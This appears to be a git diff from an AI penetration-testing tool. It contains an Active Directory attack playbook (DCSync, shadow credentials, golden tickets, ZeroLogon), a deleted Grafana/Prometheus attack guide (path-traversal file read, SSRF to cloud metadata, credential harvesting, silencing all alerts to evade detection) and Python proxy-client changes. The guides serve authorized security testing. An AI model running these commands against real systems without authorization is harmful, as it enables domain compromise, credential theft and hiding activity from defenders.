- **GenericAll/GenericWrite** on a user → targeted Kerberoast or Shadow Credentials (`msDS-KeyCredentialLink` via Certipy/pywhisker → PKINIT → NT hash).
- **WriteDacl/WriteOwner** → grant yourself GenericAll, then DCSync rights on the domain object.
- **ForceChangePassword** → reset a target's password.
- **AddMember** on a privileged group → self-add.
- **GPO edit rights** → push an immediate scheduled task / local admin to linked OUs.
```
# Shadow Credentials (no password reset needed, stealthier)
certipy shadow auto -u <USER>@<DOMAIN> -p <PASS> -account <TARGET> -dc-ip <DC_IP>
# bloodyAD for generic DACL edits
bloodyAD -u <USER> -p <PASS> -d <DOMAIN> --host <DC> add genericAll <TARGET_DN> <USER>
```
### Credential Access & Domain Dominance
- **DCSync** (with replication rights — `DS-Replication-Get-Changes*`) dumps any/all hashes incl. `krbtgt`:
```
secretsdump.py <DOMAIN>/<USER>:<PASS>@<DC> -just-dc-user krbtgt
nxc smb <DC> -u <USER> -p <PASS> --ntds # full NTDS.dit
```
- **Golden ticket** (`krbtgt` hash) / **Silver ticket** (service acct hash) / **Diamond ticket** — forge TGTs/STs for persistence.
- **Pass-the-Hash / OverPass-the-Hash / Pass-the-Ticket** — reuse NT hashes or Kerberos tickets without the plaintext.
- **LAPS / gMSA** — readable `ms-Mcs-AdmPwd` or `msDS-ManagedPassword` grants local admin / service creds.
### Known unauthenticated CVEs (patch-dependent)
- **ZeroLogon** (CVE-2020-1472) — resets the DC machine account to null, instant DA on unpatched DCs.
- **noPac** (CVE-2021-42278/42287) — sAMAccountName spoofing → impersonate DC.
- **PrintNightmare** (CVE-2021-1675/34527), **PetitPotam** (unauth MS-EFSR pre-KB5005413).
Confirm with a version/patch check before firing — these are destructive.
## Advanced Techniques
- **UnPAC-the-hash** — recover a user's NT hash from a PKINIT/cert auth (Certipy `auth` prints it).
- **sAMAccountName spoofing** chain (noPac) when `MachineAccountQuota>0` and DCs unpatched.
- **SID history injection** across trusts for cross-domain/forest escalation.
- **ADIDNS poisoning** — add wildcard/records via authenticated LDAP to intercept name resolution.
- **Timeroast** — roast computer-account passwords via NTP if the DC exposes MS-SNTP.
## Testing Methodology
1. **Foothold check** — Confirm creds work (`nxc ldap/smb`) and note privileges; note `MachineAccountQuota` and password policy.
2. **BloodHound first** — Collect + graph before manual work; mark the foothold principal as owned and read the DA paths.
3. **Low-noise credential harvest** — AS-REP roast (no auth), Kerberoast, readable LAPS/gMSA, GPP passwords in SYSVOL.
4. **AD CS sweep** — `certipy find -vulnerable`; it is often the shortest path and independent of the BloodHound graph.
5. **DACL edges** — Walk each BloodHound edge from owned → high value; prefer Shadow Credentials over password resets (reversible, quieter).
6. **Delegation** — Enumerate unconstrained/constrained/RBCD; chain with coercion where a privileged auth is needed.
7. **Coercion + relay** — Only where signing/EPA is off; identify the relay target (LDAP/AD CS) first.
8. **Prove domain dominance** — DCSync `krbtgt` / a target user, then stop. Do not persist (golden ticket) on client engagements unless in scope.
## Validation
1. Show the exact misconfiguration (SPN, `userAccountControl` flag, template flags, ACE, missing patch) with the enumerating tool's raw output.
2. Demonstrate the privilege gained — a cracked service-account password, an issued certificate authenticating as a privileged user, or an NT hash from DCSync.
3. Provide the full chain: owned principal → edge/misconfig → escalation step → resulting access, with commands and evidence at each hop.
4. Tie the impact to a concrete identity (e.g. "user `svc-sql` → Domain Admins") rather than a generic "AD is misconfigured".
5. For coercion/relay, capture both the coerced authentication and the relayed action succeeding.
## False Positives
- Kerberoastable SPN on a **machine account** — password is 120-char random, effectively uncrackable; not a finding on its own.
- `certipy find` lists a template as ESC-vulnerable but enrollment rights exclude your principal (check the `Enrollment Rights` / `Requires Manager Approval` fields).
- Delegation flags present but the account is disabled or the target SPN is unreachable.
- Relay target enforces SMB/LDAP signing or channel binding (EPA) — the relay will fail; not exploitable.
- DCs fully patched — ZeroLogon/noPac/PetitPotam checks report "not vulnerable".
- "Writable" share that only exposes a redirected/quarantined path with no useful content.
## Impact
- Full domain (and often forest) compromise: read/modify all objects, all credentials, all data.
- Persistent, patch-surviving access via golden tickets, forged certificates, or SID history.
- Lateral movement to every domain-joined host (file servers, databases, hypervisors).
- Ransomware blast radius — DA is the standard pivot for domain-wide deployment.
## Pro Tips
1. BloodHound before brute force — the graph turns hours of guessing into a named path; always mark owned nodes.
2. Prefer AS-REP roasting and `certipy find` early — both are quiet and one needs no creds.
3. Shadow Credentials > password reset when you have write access: reversible, doesn't lock out the account, no plaintext needed.
4. Fix clock skew before Kerberos work: `sudo ntpdate <DC>` (or `faketime`) — `KRB_AP_ERR_SKEW` kills ticket ops.
5. Use FQDNs and set `/etc/resolv.conf` to the DC (or `--dns-server`); Kerberos and LDAP referrals break on bare IPs.
6. `nxc` (NetExec) is the CrackMapExec successor — CME is unmaintained; use `nxc` and its `--gen-relay-list`, `--bloodhound`, `-M` modules.
7. Pair with `nmap` (service/port discovery) and `authentication_jwt` skills where the domain fronts web SSO (ADFS/SAML).
## Tooling
**None of the AD tools below ship in the Strix sandbox by default** (the image is Kali-rolling but installs only web-focused tooling). Install what the task needs — the sandbox has `pipx`, `pip`, `go`, `git`, and Kali's apt repos. AD testing also requires **network reachability to the target DC/subnet**, which the default web-target sandbox usually lacks; confirm connectivity first.
```
# Python identity toolkit (impacket = GetUserSPNs/GetNPUsers/secretsdump/ntlmrelayx/getST/addcomputer/rbcd)
pipx install impacket
pipx install netexec # nxc — CME successor: ldap/smb/winrm enum, roasting, bloodhound, ntds
pipx install certipy-ad # AD CS enum + ESC1-ESC17 abuse, shadow credentials
pipx install bloodhound-ce # bloodhound-ce-python collector (BloodHound CE ingestor)
pipx install coercer # multi-protocol coercion (MS-EFSR/RPRN/DFSNM/FSRVP)
pipx install bloodyAD # DACL / LDAP object edits over LDAP
pipx install ldapdomaindump # LDAP dumper (bloodhound.py author)
go install github.com/ropnop/kerbrute@latest # kerbrute (Go) — user enum / pre-auth brute
# Kali apt packages
sudo apt-get install -y smbclient ldap-utils krb5-user enum4linux-ng responder hashcat john
```
- **NetExec (`nxc`)** — swiss-army enum/exec across smb/ldap/winrm/mssql; use for creds validation, share hunting, `--kerberoasting`, `--bloodhound`, `--ntds`.
- **impacket** — the canonical scriptable attack primitives (roasting, S4U, relay, secretsdump, ticket forging).
- **Certipy** — AD CS: `find -vulnerable`, `req`, `auth`, `shadow`, relay; covers the full ESC1-ESC17 set.
- **BloodHound CE + collector** — attack-path graphing; the first thing to run with any valid credential.
- **Responder / ntlmrelayx / Coercer / PetitPotam** — the poisoning→coercion→relay chain (needs L2 access or a coercible target).
- **hashcat / john** — offline cracking of roasted `$krb5tgs$`/`$krb5asrep$` blobs (modes `13100` / `18200`).
Humans often use GUI BloodHound and Windows-side C# tooling (SharpHound, Rubeus, Certify, PowerView); in-sandbox prefer the Python/Linux equivalents above (`bloodhound-ce-python`, impacket, Certipy, `nxc`).
## Summary
AD compromise is a graph problem: start from a valid credential, map paths with BloodHound, and chain misconfigurations — roastable accounts, delegation flags, vulnerable certificate templates, coercion+relay, and permissive DACLs — until you reach DCSync or a forged ticket. The identity plane (Kerberos/LDAP/NTLM/SMB/AD CS), not the perimeter, is where domains fall.
@@ -1,189 +0,0 @@
---
name: grafana_prometheus
description: Grafana, Prometheus, Alertmanager and exporter security testing — turning exposed observability into SSRF, credential theft, RCE, and lateral movement into the internal network
---
# Grafana & Prometheus (Observability Stack)
Observability stacks (Grafana + Prometheus + Alertmanager + Loki/Tempo/Jaeger + exporters) are among the highest-value pivots on a network. They are chronically exposed (300k+ internet-facing Grafana instances on Shodan), run with weak/no auth, hold plaintext credentials for every backend they touch, and sit in a network position that reaches internal services and cloud metadata. Treat a reachable observability endpoint not as the finding but as the **entry point**: the goal is to pivot from "monitoring is exposed" into data-source credential theft, SSRF into the internal network, cloud key compromise, RCE, and cluster/host takeover.
## Attack Surface
**Grafana** (default `:3000`)
- Web UI + REST API (`/api/*`), login, org/user management, snapshots
- Data sources: stored connection details + credentials for Prometheus, Loki, Tempo, MySQL/Postgres, Elasticsearch, InfluxDB, CloudWatch, Azure Monitor, etc.
- Data source **proxy** (`/api/datasources/proxy/...`, `/api/ds/query`) — server-side HTTP client → SSRF primitive
- Plugins (incl. Image Renderer, Infinity) — extra SSRF/RCE surface
- Alerting → contact points/webhooks (outbound HTTP, another SSRF vector)
**Prometheus** (default `:9090`)
- Query API (`/api/v1/query`, `/graph`), config/target/status endpoints, federation, admin/lifecycle API
**Alertmanager** (default `:9093`)
- Alert/silence API (`/api/v2/*`), config with receiver credentials
**Exporters / adjacent** — node_exporter (`:9100`), cAdvisor/kubelet (`:4194`/`:10250`), kube-state-metrics (`:8080`), Pushgateway (`:9091`), Loki (`:3100`), Tempo, Jaeger UI (`:16686`), Thanos/Cortex/Mimir/VictoriaMetrics
## Reconnaissance
**Fingerprint & version** (version drives which CVEs apply)
```
GET /api/health # Grafana: {"version":"...","commit":"..."}
GET /api/frontend/settings # buildInfo, enabled auth, datasource types
GET /login # Grafana login page / footer version
GET /api/v1/status/buildinfo # Prometheus version
GET /metrics # any exporter → prometheus/node/go_* series
```
**Auth posture — always test unauthenticated first**
```
GET /api/datasources # Grafana: 200 = anon/viewer has admin-ish read
GET /?orgId=1 # anonymous access enabled? lands on dashboards
GET /api/v1/targets # Prometheus: 200 = no auth
GET /api/v2/status # Alertmanager: 200 = no auth
```
**Credential entry points**
- Grafana default creds `admin:admin` (the first-login change prompt has a **Skip** button — ~1 in 5 internet-facing instances still accept it)
- Anonymous org access (`auth.anonymous`), open sign-up, guest/viewer roles
- Leaked Grafana API keys / service account tokens (`Authorization: Bearer glsa_...` / `eyJ...`) in JS bundles, git, CI logs
## Key Vulnerabilities & CVEs
### CVE-2021-43798 — Grafana pre-auth path traversal (arbitrary file read)
Grafana 8.0.0-beta1 → 8.3.0. Directory traversal through the plugin static route reads any file the process can, **no auth required**. Every install ships pre-installed plugins, so the path always exists.
```
curl --path-as-is 'http://host:3000/public/plugins/mysql/../../../../../../../../etc/passwd'
# other plugin ids that always exist: prometheus, graph, text, alertlist, table-old
```
High-value reads:
- `/etc/grafana/grafana.ini` and `conf/defaults.ini``secret_key`, admin password, SMTP/LDAP creds
- `/var/lib/grafana/grafana.db` (SQLite) → `data_source.secure_json_data` (AES-encrypted with `secret_key` → decrypt to recover backend passwords/tokens), session tokens, API key hashes
- `/proc/self/environ`, cloud credential files (`~/.aws/credentials`, k8s SA token at `/var/run/secrets/kubernetes.io/serviceaccount/token`)
### CVE-2024-9264 — Grafana SQL Expressions RCE + LFI (DuckDB)
Grafana **v11.0.011.2.x** (10.x not affected). The experimental SQL Expressions feature passes user input to the `duckdb` CLI insufficiently sanitized → command injection + arbitrary file read. Enabled by default for the API (feature-flag bug); exploitable **only if the `duckdb` binary is in Grafana's `$PATH`** (not shipped by default). Any user with **Viewer or higher** can exploit. CVSS 9.4.
- Probe: is `duckdb` present? Try the SQL Expressions query path; LFI via `read_csv`/`read_blob`-style functions, command injection via DuckDB's shell/`install`/`load` extension mechanics.
- Mitigation you'll see: remove `duckdb` from PATH.
### CVE-2025-4123 — Grafana open redirect + stored XSS → SSRF chain
Double-encoded traversal (`..%2f`) into the client path/`/redirect` forwards the victim to an attacker origin that serves a malicious plugin manifest → JS executes in the trusted grafana origin (stored XSS). If the **Image Renderer** plugin is present, escalate to full-read SSRF:
```
POST /api/render?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
```
No creds needed when anonymous access is on (common in demo/lab).
### CVE-2021-39226 / CVE-2024-1313 — Grafana snapshot auth bypass
Unauthenticated view (and, with `public_mode`, delete) of the lowest-key snapshot via `/api/snapshots/:key` and `/dashboard/snapshot/:key`; CVE-2024-1313 lets a user in a *different org* delete snapshots by view key. Walk snapshot IDs to harvest dashboard data / leaked query values.
### Prometheus / Alertmanager — exposure is the vuln (no auth by default)
Prometheus and Alertmanager ship with **no authentication**; the docs explicitly say do not expose them. There is rarely a CVE — reachability itself is the finding, and the payoff is recon + credential leakage + pivoting (below).
## Pivoting: Observability → Deeper Compromise
This is the core value. Chain each exposure into something that matters. Always articulate the pivot in the finding, not just the exposed endpoint.
### 1. Grafana data-source proxy → full-read SSRF (internal net + cloud metadata)
Grafana OSS ships a **no-op URL validator** and an **empty `data_source_proxy_whitelist`** (empty = allow all). The proxy resolves the proxied path against the **selected data source's configured base URL**, so to reach an arbitrary host you must first create (or edit) a data source whose URL is the internal/metadata target — this needs data-source write permission (Editor/Admin, or any role granted `datasources:create`/`:write`). Reusing an ordinary Prometheus data-source id and appending a metadata path just hits Prometheus, not the metadata service — do not report that as SSRF. Once a data source points at the target, the proxy issues the request server-side and returns the **full response body**.
```
# Step 1: create/edit a data source with an attacker-chosen base URL, e.g.
POST /api/datasources {"name":"x","type":"prometheus","access":"proxy",
"url":"http://169.254.169.254"} # returns the new <id>
# Step 2: relay through THAT data source's id (path appended to its base URL):
GET /api/datasources/proxy/<id>/latest/meta-data/iam/security-credentials/<role> # AWS IMDSv1
# GCP: base url http://metadata.google.internal + header Metadata-Flavor: Google
# → /computeMetadata/v1/instance/service-accounts/default/token
# Internal APIs, k8s API server, admin panels, other cloud services (one DS per host)
```
Pivot: metadata creds → cloud account; internal API reads → data; network mapping → next target. Also test the **alerting contact-point/webhook** (attacker-controlled outbound URL) and plugin SSRFs (e.g. Infinity CVE-2025-8341) as independent vectors. The **Image Renderer** is an SSRF vector too, but not via an arbitrary-URL proxy: it renders Grafana dashboard/panel render routes (`/render/d-solo/...`), so the SSRF arises when a render request is coerced to fetch an internal URL (e.g. chained with CVE-2025-4123), not from a `?url=` parameter.
### 2. Grafana admin → harvest every backend credential
Once authenticated (default creds, anon-admin, leaked token, or after CVE-2021-43798):
```
GET /api/datasources # host, port, db, user for 515 backends
GET /api/admin/settings # SMTP, LDAP bind, OAuth secrets, DB DSN (grafana.ini runtime)
```
Grafana stores backend passwords/tokens encrypted (`secureJsonData`) — the API won't echo them, but you can (a) use the data source proxy to **query the backend directly through Grafana** (no plaintext needed), or (b) decrypt `grafana.db` `secure_json_data` with the leaked `secret_key` (from grafana.ini) offline. Each recovered credential (Postgres, MySQL, Elasticsearch, CloudWatch/Azure keys) is a fresh pivot into that system.
### 3. Prometheus config/targets → leaked scrape credentials + inventory
```
GET /api/v1/status/config # loaded prometheus.yml
GET /api/v1/targets # every scrape target + discovery metadata labels
```
Prometheus renders secret-typed fields (`basic_auth.password`, `authorization.credentials`, bearer tokens, OAuth client secrets — including inside `remote_write`/`remote_read`) as `<secret>` in the config response, so do **not** report those as leaked unless the actual value is shown. What genuinely leaks: **usernames** (`basic_auth.username`), and — critically — **credentials embedded in target/endpoint URLs** (`https://user:pass@host/...`), which are *not* masked. `remote_write`/`remote_read` blocks still reveal internal backend endpoints (Grafana Cloud/Cortex/Mimir/Thanos hosts) and usernames even with secrets redacted. `kubernetes_sd_configs` and cloud SD expose internal DNS and can surface creds via URL fields. Target lists + `__meta_*`/`__address__` labels = a free internal network map (hostnames, ports, k8s namespaces, cloud instance IDs).
### 4. PromQL / metrics → internal topology, versions → known-CVE targeting
Metrics are a recon goldmine. Query without auth:
```
GET /api/v1/query?query=up # every monitored service (host:port)
GET /api/v1/query?query=node_uname_info # kernel/OS/host
GET /api/v1/query?query=node_dmi_info # cloud provider / hardware
GET /api/v1/query?query=node_network_info # interfaces, internal IPs/MACs
GET /api/v1/query?query=kube_pod_info # pods, namespaces, node IPs (KSM)
GET /api/v1/query?query=kube_node_info # node hostnames, kubelet/kubeproxy versions
GET /api/v1/query?query={__name__=~"..._build_info"} # exact component versions
GET /api/v1/label/__name__/values # enumerate all metric names → app inventory
GET /federate?match[]={__name__=~".%2b"} # bulk-exfil series via federation
```
Pivot: exact versions (`*_build_info`, `kube_node_info`) → map to CVEs and attack the vulnerable components; `up`/`kube_pod_info` → target list of internal services normally invisible from outside. cAdvisor/kubelet and kube-state-metrics reveal container images, args, labels (sometimes secrets in env-derived labels), and full cluster layout.
### 5. Alertmanager → credential theft, SSRF, and alert suppression (anti-forensics)
```
GET /api/v2/status # config (receiver creds often masked, structure/routes leak)
POST /api/v2/silences # unauth in default deploys → silence ALL alerts
```
- Receiver config (`alertmanager.yml`) holds **plaintext** Slack webhook URLs, PagerDuty routing keys, SMTP passwords, OpsGenie/VictorOps keys — steal via file read (CVE-2021-43798 style) or config access; reuse to spoof alerts / social-engineer on-call.
- Webhook receivers = SSRF: if you can influence the receiver URL, point it at internal endpoints.
- Silence abuse: `POST /api/v2/silences` with matcher `alertname=~".+"` for 30d suppresses security/ops alerting while you operate — call this out as a **detection-evasion** impact.
### 6. Logs/traces backends (Loki, Tempo, Jaeger) → secrets in transit
Exposed Loki (`/loki/api/v1/query_range`), Tempo, and Jaeger UI (`:16686`) frequently contain **request bodies, headers, tokens, session cookies, SQL, and stack traces** captured from real traffic. Query them for `authorization`, `password`, `token`, `set-cookie`, PII. A single logged bearer token or session cookie is a direct account/service takeover.
## Testing Methodology
1. **Discover** stack ports/services (`:3000/:9090/:9093/:9100/:3100/:16686`, `/metrics`, `/api/health`).
2. **Fingerprint versions** → shortlist applicable CVEs (43798, 9264, 4123, 39226/1313, Infinity 8341).
3. **Auth matrix** — unauth vs anon vs viewer vs default creds vs leaked token, per component.
4. **Recon-pivot** — pull Prometheus config/targets + PromQL inventory; enumerate Grafana `/api/datasources`.
5. **SSRF-pivot** — data source proxy / render / webhook → internal services + `169.254.169.254`.
6. **Credential-pivot** — file read (43798) → `secret_key` → decrypt `grafana.db`; scrape/remote_write/receiver creds; then reuse against each backend.
7. **Deepen** — RCE (9264 if `duckdb` present), cloud account via metadata, k8s SA token, DB access; demonstrate real impact.
## Validation
- SSRF: show the **full body** of an internal-only URL (metadata creds, internal API JSON) returned through Grafana — not just a timing/blind signal.
- Credential theft: show the leaked secret AND prove reuse (authenticate to the backend / cloud), or clearly explain the reuse path.
- File read (43798): return contents of `/etc/passwd` or `grafana.ini` with `--path-as-is`; note affected version.
- RCE (9264): confirm `duckdb` in PATH first; demonstrate command execution or file read; note version 11.x.
- Recon: for Prometheus/Alertmanager exposure, pair the open endpoint with the concrete sensitive data recovered (leaked creds, internal inventory) so the finding shows impact, not just "it's reachable".
## False Positives / Down-rate
- Endpoint reachable only from localhost / same trusted segment by design, behind an authenticating reverse proxy (test through the real ingress).
- Grafana Enterprise (real URL validator) or OSS with a configured `data_source_proxy_whitelist` → SSRF blocked.
- CVE-2024-9264 with **no `duckdb` in PATH** → not exploitable (do not report as RCE).
- Patched versions (Grafana ≥ the fixed release for each CVE; check `/api/health`).
- **Demo/sandbox instances with synthetic data** — down-rate per demo-data guidance; exposed monitoring of a throwaway target is low impact.
- Metrics that are genuinely public/non-sensitive (e.g. an intentionally public status page).
## Impact
- Cloud account compromise (metadata creds via SSRF), internal network read access, and network mapping.
- Theft of every backend credential Grafana/Prometheus/Alertmanager touches → lateral movement into DBs, Elasticsearch, cloud APIs.
- RCE on the Grafana host (CVE-2024-9264) and arbitrary file read (CVE-2021-43798).
- Kubernetes cluster recon → SA token / kubelet exposure → cluster compromise.
- Alert suppression for detection evasion; secret/PII exposure via logs & traces.
## Pro Tips
1. Always fingerprint the version first (`/api/health`, `/api/v1/status/buildinfo`) — it decides RCE vs read vs recon.
2. The exposed dashboard is never the finding; the pivot is. Chain to metadata creds, backend creds, or RCE before reporting.
3. Prometheus `<secret>` masking is incomplete — hunt usernames and **URL-embedded creds** in `/api/v1/status/config` and `remote_write`.
4. Grafana can query its own backends for you via the data source proxy — you don't need the plaintext password to exfil data.
5. `*_build_info` and `kube_node_info` metrics hand you exact component versions — turn them straight into CVE targets.
6. Pair with `ssrf`, `information_disclosure`, `kubernetes`, `aws`/`gcp`, and `authentication_jwt` skills; use `nuclei` templates (`grafana-*`, `prometheus-*`) for fast triage.
7. On k8s, an exposed Prometheus/KSM often reveals the whole cluster topology and image versions with zero auth — prioritize it as a recon multiplier.
## Summary
Grafana and Prometheus are pivot engines, not endpoints. Grafana holds plaintext-recoverable credentials for every backend, proxies arbitrary server-side requests by default (SSRF → cloud metadata), reads arbitrary files (CVE-2021-43798), and can hit RCE (CVE-2024-9264). Prometheus/Alertmanager expose internal inventory, versions, and scrape/receiver credentials with no auth. Treat any reachable observability service as a launch point into the internal network, cloud account, databases, and cluster — and prove the pivot.
+100 -20
View File
@@ -3,7 +3,9 @@
from __future__ import annotations
import asyncio
import contextlib
import json
import logging
import os
import time
import urllib.request
@@ -26,6 +28,9 @@ if TYPE_CHECKING:
from caido_sdk_client import Client as CaidoClient
logger = logging.getLogger(__name__)
RequestPart = Literal["request", "response"]
SortBy = Literal[
"timestamp",
@@ -45,6 +50,18 @@ _SITEMAP_PAGE_SIZE = 30
_DEFAULT_CAIDO_URL = "http://127.0.0.1:48080"
_CLIENT_CACHE: dict[str, Client] = {}
_CLIENT_LOCK = asyncio.Lock()
# Substrings that mean the shared client's transport has died or is being used
# concurrently — recoverable by rebuilding the client and retrying once.
_CONNECTION_ERROR_MARKERS = (
"transport is already connected",
"connector is closed",
"server disconnected",
"session is closed",
"cannot write to closing transport",
"connection reset",
"connection closed",
)
_REQ_FIELD_MAP: dict[SortBy, tuple[str, str]] = {
"timestamp": ("req", "created_at"),
"host": ("req", "host"),
@@ -91,6 +108,22 @@ async def _new_client() -> Client:
return client
async def _safe_aclose(client: Client | None) -> None:
"""Close a (possibly dead) client without letting teardown errors escape."""
if client is None:
return
with contextlib.suppress(Exception):
await client.aclose()
def _is_connection_error(exc: BaseException) -> bool:
message = str(exc).lower()
if any(marker in message for marker in _CONNECTION_ERROR_MARKERS):
return True
cause = exc.__cause__ or exc.__context__
return cause is not None and cause is not exc and _is_connection_error(cause)
async def get_client() -> Client:
"""Return the shared Caido client, creating it under a lock if needed.
@@ -106,19 +139,73 @@ async def get_client() -> Client:
return client
async def call_with_client[T](fn: Callable[[Client], Awaitable[T]]) -> T:
"""Run ``fn`` against the shared client, serialized through ``_CLIENT_LOCK``.
async def call_with_client[T](
fn: Callable[[Client], Awaitable[T]], *, idempotent: bool = True
) -> T:
"""Run ``fn`` against the shared client, serialized and reconnect-safe.
The Caido GraphQL transport is not safe for concurrent use: two in-flight
requests race and raise "Transport is already connected". Serializing every
proxy call through the lock prevents that.
requests race and raise "Transport is already connected". All proxy calls
are therefore serialized through ``_CLIENT_LOCK``. If the cached client's
transport has since died ("Connector is closed" / "Server disconnected"),
the stale client is closed and rebuilt so subsequent calls stop failing
against a dead client.
``fn`` is only re-run automatically when ``idempotent`` is true. For
mutations (replay, scope create/update/delete) a connection error may
arrive *after* Caido applied the change, so we heal the client for future
calls but re-raise instead of risking a double-apply.
"""
async with _CLIENT_LOCK:
client = _CLIENT_CACHE.get("default")
if client is None:
client = await _new_client()
_CLIENT_CACHE["default"] = client
return await fn(client)
try:
return await fn(client)
except Exception as exc:
if not _is_connection_error(exc):
raise
new_client = await _new_client()
_CLIENT_CACHE["default"] = new_client
await _safe_aclose(client)
if not idempotent:
raise
return await fn(new_client)
class SharedCaidoClient:
"""Serialized, reconnect-safe wrapper around one host-side Caido client.
Every agent in a scan shares a single instance (propagated through the
shallow-copied run context). ``call`` serializes access — the SDK transport
is not concurrency-safe — and, when the transport dies, rebuilds the client
via ``reconnect`` (which preserves the Caido project) and closes the dead
one, so a transient Caido restart no longer disables proxy tools for the
rest of the scan.
"""
def __init__(self, client: Client, reconnect: Callable[[], Awaitable[Client]]) -> None:
self._client = client
self._reconnect = reconnect
self._lock = asyncio.Lock()
async def call[T](self, fn: Callable[[Client], Awaitable[T]], *, idempotent: bool = True) -> T:
async with self._lock:
try:
return await fn(self._client)
except Exception as exc:
if not _is_connection_error(exc):
raise
dead, self._client = self._client, await self._reconnect()
await _safe_aclose(dead)
if not idempotent:
raise
return await fn(self._client)
async def aclose(self) -> None:
async with self._lock:
await _safe_aclose(self._client)
async def close_client() -> None:
@@ -167,9 +254,6 @@ async def get_request_with_client(
return await client.request.get(request_id, opts)
_FRAMING_HEADERS = frozenset({"content-length", "transfer-encoding"})
def build_raw_request(
*,
method: str,
@@ -190,16 +274,7 @@ def build_raw_request(
final_headers = {**headers}
final_headers.setdefault("Host", parsed.netloc)
final_headers.setdefault("User-Agent", "strix")
# Framing headers inherited from the captured request describe the ORIGINAL
# body; once the body is modified for replay they are stale. We always send a
# plain (non-chunked) body with an explicit Content-Length, so drop any
# inherited Content-Length AND Transfer-Encoding (case-insensitively) and
# recompute the length from the body actually being sent. This keeps the two
# framing mechanisms from conflicting (RFC 7230 3.3.3: a leftover
# Transfer-Encoding would make the target ignore Content-Length and try to
# parse the body as chunked), so the replay is never desynced.
final_headers = {k: v for k, v in final_headers.items() if k.lower() not in _FRAMING_HEADERS}
if body:
if body and "Content-Length" not in {k.title() for k in final_headers}:
final_headers["Content-Length"] = str(len(body.encode("utf-8")))
lines = [f"{method.upper()} {path} HTTP/1.1"]
@@ -471,7 +546,9 @@ async def repeat_request(
)
return await replay_send_raw(client, raw=raw, connection=connection)
return await call_with_client(_run)
# A replay mutates server state; don't auto-retry if the transport dies
# mid-send (the request may already have been sent).
return await call_with_client(_run, idempotent=False)
async def scope_rules(
@@ -492,7 +569,8 @@ async def scope_rules(
scope_name=scope_name,
)
return await call_with_client(_run)
# get/list are read-only and safe to retry; create/update/delete mutate.
return await call_with_client(_run, idempotent=action in {"get", "list"})
async def _scope_rules_with_client(
@@ -741,9 +819,11 @@ async def view_sitemap_entry(entry_id: str) -> dict[str, Any]:
__all__ = [
"RequestPart",
"ScopeAction",
"SharedCaidoClient",
"SitemapDepth",
"SortBy",
"SortOrder",
"call_with_client",
"close_client",
"get_client",
"list_requests",
+77 -48
View File
@@ -2,7 +2,6 @@
from __future__ import annotations
import asyncio
import dataclasses
import json
import logging
@@ -14,14 +13,13 @@ from typing import TYPE_CHECKING, Any, Literal
from agents import RunContextWrapper, function_tool
from strix.tools.proxy import caido_api
from strix.tools.proxy.caido_api import SharedCaidoClient
logger = logging.getLogger(__name__)
if TYPE_CHECKING:
from collections.abc import Awaitable, Callable
from caido_sdk_client import Client
from strix.tools.proxy.caido_api import (
@@ -31,7 +29,7 @@ if TYPE_CHECKING:
SortOrder,
)
else:
from strix.tools.proxy.caido_api import ( # noqa: TC001
from strix.tools.proxy.caido_api import (
RequestPart,
SitemapDepth,
SortBy,
@@ -41,21 +39,19 @@ else:
ScopeAction = Literal["get", "list", "create", "update", "delete"]
# All agents in a scan share one host-side Caido client whose GraphQL transport
# is not concurrency-safe (parallel calls raise "Transport is already
# connected"). Serialize every host-side proxy call through this lock.
_CAIDO_CALL_LOCK = asyncio.Lock()
def _ctx_proxy(ctx: RunContextWrapper) -> SharedCaidoClient | None:
"""Return the scan-wide serialized, reconnect-safe Caido client holder.
def _ctx_client(ctx: RunContextWrapper) -> Client | None:
All agents in a scan share one :class:`SharedCaidoClient` whose GraphQL
transport is not concurrency-safe (parallel calls raise "Transport is
already connected"). ``SharedCaidoClient.call`` serializes access and
rebuilds the transport if it dies mid-scan. Returns ``None`` when no holder
is present (e.g. standalone tool invocation outside a scan run).
"""
inner = ctx.context if isinstance(ctx.context, dict) else {}
return inner.get("caido_client")
async def _call[T](client: Client, fn: Callable[[Client], Awaitable[T]]) -> T:
"""Run ``fn`` against the shared client, serialized under ``_CAIDO_CALL_LOCK``."""
async with _CAIDO_CALL_LOCK:
return await fn(client)
proxy = inner.get("caido_client")
return proxy if isinstance(proxy, SharedCaidoClient) else None
def _to_tool_json(value: Any) -> Any:
@@ -97,6 +93,39 @@ def _err(name: str, exc: Exception) -> str:
)
_HTTPQL_HINT = (
"HTTPQL syntax: quote string values and leave integers unquoted; combine "
"terms with AND / OR (there is no NOT). Numeric fields (resp.code, req.port, "
"id, roundtrip) use eq/ne/gt/gte/lt/lte; text/byte fields (req.host, req.path, "
"req.method, req.raw, resp.raw) use cont/ncont/eq/ne/like/nlike/regex/nregex. "
"Example: 'resp.code.gte:200 AND resp.code.lt:300 AND req.host.cont:\"api\"'."
)
def _is_httpql_error(exc: Exception) -> bool:
message = str(exc).lower()
return "httpql" in message or ("filter" in message and "pars" in message)
def _httpql_error(exc: Exception, httpql_filter: str | None) -> str:
"""Return an actionable error for a rejected HTTPQL filter.
Preserves Caido's exact parser message and echoes the offending query so
the agent can self-correct instead of retrying the same broken filter.
"""
logger.info("list_requests rejected HTTPQL filter %r: %s", httpql_filter, exc)
return json.dumps(
{
"success": False,
"error": f"Invalid HTTPQL filter: {exc}",
"httpql_filter": httpql_filter,
"hint": _HTTPQL_HINT,
},
ensure_ascii=False,
default=str,
)
@function_tool(timeout=120)
async def list_requests(
ctx: RunContextWrapper,
@@ -155,13 +184,12 @@ async def list_requests(
sort_order: ``asc`` or ``desc``.
scope_id: Restrict to a Caido scope (managed via ``scope_rules``).
"""
client = _ctx_client(ctx)
if client is None:
proxy = _ctx_proxy(ctx)
if proxy is None:
return _no_client()
try:
connection = await _call(
client,
connection = await proxy.call(
lambda client: caido_api.list_requests_with_client(
client,
httpql_filter=httpql_filter,
@@ -170,7 +198,7 @@ async def list_requests(
sort_by=sort_by,
sort_order=sort_order,
scope_id=scope_id,
),
)
)
entries = []
@@ -224,6 +252,8 @@ async def list_requests(
default=str,
)
except Exception as exc: # noqa: BLE001
if httpql_filter and _is_httpql_error(exc):
return _httpql_error(exc, httpql_filter)
return _err("list_requests", exc)
@@ -261,14 +291,13 @@ async def view_request(
page: 1-indexed page number (only when no ``search_pattern``).
page_size: Lines per page.
"""
client = _ctx_client(ctx)
if client is None:
proxy = _ctx_proxy(ctx)
if proxy is None:
return _no_client()
try:
result = await _call(
client,
lambda client: caido_api.get_request_with_client(client, request_id, part=part),
result = await proxy.call(
lambda client: caido_api.get_request_with_client(client, request_id, part=part)
)
if result is None:
return json.dumps(
